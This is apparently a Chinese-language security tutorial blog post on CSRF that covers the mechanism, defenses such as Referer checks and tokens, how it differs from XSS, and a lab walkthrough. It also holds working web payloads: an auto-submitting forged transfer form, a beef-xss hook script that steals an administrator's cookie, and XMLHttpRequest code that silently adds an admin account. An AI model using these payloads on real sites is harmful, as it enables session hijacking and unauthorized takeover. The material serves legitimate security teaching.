CSRF跨站请求伪造
什么是CSRF
跨站请求伪造（Cross-site request forgery），CSRF是指利用受害者尚未失效的身份认证信息（登录状态中的Cookie等），诱骗受害者点击恶意链接，或者访问包含攻击代码的页面，在受害者不知情的情况下以受害者的身份向服务器发送请求，从而完成非法操作。
可以这样说，攻击者盗用了你的身份，以你的名义发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作。
在服务器看来，所有请求都是合法正常的。
CSRF的攻击过程和原理
攻击过程大致如下：
-
用户打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A。
-
在用户信息通过验证后，网站A产生cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A。
-
用户未退出网站A之前，在同一浏览器中，打开一个另一个页面访问网站B。
-
B网站收到用户请求后返回一些访问A网站的恶意代码。
-
浏览器在接收到这些恶意代码后，根据网站B的请求，在用户不知情的情况下携带用户的cookie信息，向网站A发出请求。
-
网站A并不知道该请求其实是由网站B发起的，所以会根据用户的cookie信息以用户的权限处理该请求，导致来自网站B的恶意代码被执行。
CSRF产生的条件：
-
用户已经登录了网站A，并且在本地浏览器记录了cookie。
-
用户在没有退出网站A的情况下（cookie生效的情况下）在同一浏览器又访问了攻击者提供的引诱网站B（攻击者构造访问网站A的URL）。
需要精心构造操作网站A的数据包，可利用CSRFTester构造导出。
-
网站A没有做任何的CSRF防御。
CSRF攻击是攻击者利用受害者的cookie骗取服务器的信任，攻击者并不能拿到cookie，也看不到cookie的内容。
攻击者所能做的只是给服务器发送请求，以执行请求中的命令，在服务器端直接改变数据的值，而非窃取服务器中的数据。
根本原因：Web的身份验证机制虽然可以保证某个请求是来自于某个用户的浏览器，但却无法保证该请求是用户知晓并允许发送的。
CSRF的类型有哪些
CSRF的利用必须要对操作产生的数据包完全了解，以便构造完全符合要求的数据包。
GET类型
诱使用户访问构造的GET请求的恶意URL。
正常转账URL：http://bank/transfer?amount=10000&for=bob
伪造的转账URL：http://bank/transfer?amount=10000&for=hacker
POST类型
诱导用户跳转到黑客网站，网站的HTML中有一个自动提交的隐藏表单，只要用户打开页面，就会发起转账请求。
<form action="http://bank/transfer" method=POST>
<input type="hidden" name="account" value="user" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
其他
在受害网站的评论区放置一个a标签，点击跳转时发起伪造请求。
<a href="http://bank/transfer?amount=10000&for=hacker" taget="_blank">大八卦<a/>
在受害网站的评论区发表伪装的图片，实际是一个恶意请求。
CSRF的防御
CSRF安全问题黑盒怎么判断：
-
看页面来源检查 HTTP Referer 字段
-
看看有无凭据是否存在 Token验证
-
看关键操作有无验证 验证码
防御措施：
1 验证 HTTP Referer 字段
在HTTP头中有一个字段 Referer，它记录了该HTTP请求的来源地址。在通常情况下，访问一个安全受限页面的请求来自于同一个网站。（同源策略）
但是在某些情况下 Referer 字段是可以被修改的。
2 在请求地址中添加 token 并验证
在HTTP请求中以参数的形式加入一个随机产生的token，并在服务器端建立一个拦截器来验证这个token，如果请求中没有token或者token内容不正确，则认为可能是CSRF攻击而拒绝该请求。
抵御CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。
3 在 HTTP 头中自定义属性并验证
这种方法也是使用token并进行验证，和上一种方法不同的是，这里并不是把token以参数的形式置于HTTP请求之中，而是把它放到HTTP头中自定义的属性里。
csrf_token 的位置以及原理和绕过？
CSRF token 通常是一个随机生成的字符串，被包含在请求中，服务器会验证该 Token 的有效性，以确保请求来源合法。
1、在表单中，可以作为隐藏字段嵌入在表单中
2、在请求头中， 可以在请求头中通过自定义的 Header 字段发送
3、在URL参数中，也可以作为URL参数发送，不过这种方式相对不安全
CSRF与XSS有何不同
CSRF和XSS它们的主要区别在于攻击的方式和目标：
攻击方式：
-
CSRF 是通过利用用户当前已经通过身份验证的会话来执行未经授权的操作，攻击的范围有限，仅限于用户可以执行的操作。
-
XSS 是通过注入恶意脚本代码到目标网页中，然后这些代码会在用户浏览器中执行，攻击的影响范围更直接，它可以直接影响到网站的内容和用户的浏览器。
攻击目标：
-
CSRF 目标是利用受害者的身份来执行未经授权的操作，诱导受害者用户执行他们不打算执行的操作，例如更改密码、发送恶意请求等。
-
XSS 目标是在受害者的浏览器中执行任意js代码，从而窃取用户信息、篡改网页内容等。
通常XSS漏洞比CSRF漏洞的危害更加严重：
CSRF被认为是一种“单向”漏洞，即攻击者可以诱导受害者发出HTTP请求，但他们无法获取该请求的响应；而XSS是一种“双向的”，因为攻击者注入的脚本可以发出任意请求，读取响应，并将数据发送到攻击者指定的地址。
没有防御的CSRF
CSRF vulnerability with no defenses
题目的目标是利用CSRF漏洞更改受害者的电子邮件地址。
首先登录到给定的受害者用户wiener:peter的更改邮箱界面。
站在攻击者视角，我们需要做的就是以受害者的身份去更改他的邮箱，使用Burp拦截更改邮箱的请求。
该请求依赖于会话cookie来识别帐户，接下来要做的就是构造一个可以提交更改邮箱的请求页面，发送给受害者。Burp有自动生成脚本的功能，右键Generate CSRF PoC，Burp会生成一个html表单，script部分会自动提交表单。
去到 exploit server 复制生成的html到body，点击 View exploit 查看漏洞，最后 Deliver to victim，发送给受害者。
站在受害者视角，浏览器会出现一闪而过的的html页面，这是因为这个页面是自动提交的。可以通过开发者工具看到这次的请求，请求地址为更改邮箱的地址。
由于当前受害者没有退出账户，所以请求携带的session是有效会的，绕过了身份验证，以受害者的身份发送请求。
当受害者在看到这个伪造页面时就被攻击了，邮箱在受害者不知情的情况下被修改。
CSRF&XSS组合拳打后台
在实战的时候CSRF显得十分的鸡肋，原因就在于利用条件比较苛刻，需要让受害者点击我们的恶意请求，而且漏洞危害比较小，但是和XSS漏洞结合就会产生截然不同的效果。
盲打后台管理员Cookie
XSS盲打并不是XSS漏洞的一种类型，而是XSS漏洞的一个应用场景，主要是针对网站的后台管理员。将XSS Payload注入到网站后台，由管理员触发，窃取管理员Cookie。
XSS平台使用 beef-xss ：
beef通常会放到公网vps上让受害者访问，这里使用搭建beef平台的kali主机的私有ip。
<script src="http://192.168.88.128:3000/hook.js"></script>
将beef的js代码插入到留言板中，提交之后，提示等待管理员审核，所以接下来就静静等待管理员查看留言板。
模拟管理员查看留言板，当管理员看到“管理员速来看！！！”时，浏览器加载了远程的js代码，就中招了。
此时在beef的panel面板中就可以看到管理员的主机上线了。接下来利用beef可以做的事情就有很多了，包括网页重定向等，但不是本次的重点。
这里可以看到beef拿到了管理员的cookie值：
获取了cookie信息就可以利用cookie，不用密码登录后台：
成功进入网站后台：
到这里一个完整的存储型XSS攻击就完成了，我们拿到了管理员的Cookie，我们可以做管理员能做的任何事，包括添加管理员账户。
CSRF+XSS组合拳
回顾整个XSS的攻击过程：
xss payload注入后台 --> 管理员触发xss攻击 --> xss平台上线 --> 获取cookie值 --> 利用cookie登录后台 --> 添加管理员账户
如何让整个攻击过程更加的丝滑，更加的简洁，让受害者毫无察觉得受到攻击，这里就需要CSRF的加持了。
进入后台管理界面找到添加用户的功能点进行抓包分析：
利用Burp生成CSRF的POC进行验证：
管理员点击CSRF链接后添加了一个账号，证明存在CSRF漏洞。
编写请求添加用户的JS代码：
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://127.0.0.1:8008/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=qazwsx&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
我们在留言板提交恶意JS之后，当管理员去查看留言管理就会触发JS请求代码，并且是以管理员的身份请求的。
可以发现，成功添加了管理员账号，整个过程就在管理员去查看留言管理的过程中发生了，而我们完全不需要知道管理员的Cookie具体是多少，这就是CSRF+XSS的完美配合。
思路分析
我们都知道CSRF是以合法的用户的身份进行非法操作，而XSS是能让受害者执行恶意JS代码，将二者进行结合就是，在受害者触发XSS执行JS代码的时候发起构造的CSRF恶意请求，从而能达到让受害者无感知的受到攻击。
所以当挖到XSS存储型漏洞时，不妨尝试找找CSRF漏洞，尽管现在CSRF漏洞很少了，也许会有另外的收获。
参考文章：
https://blog.csdn.net/weixin_46367450/article/details/132529247
若有错误，欢迎指正！o(￣▽￣)ブ
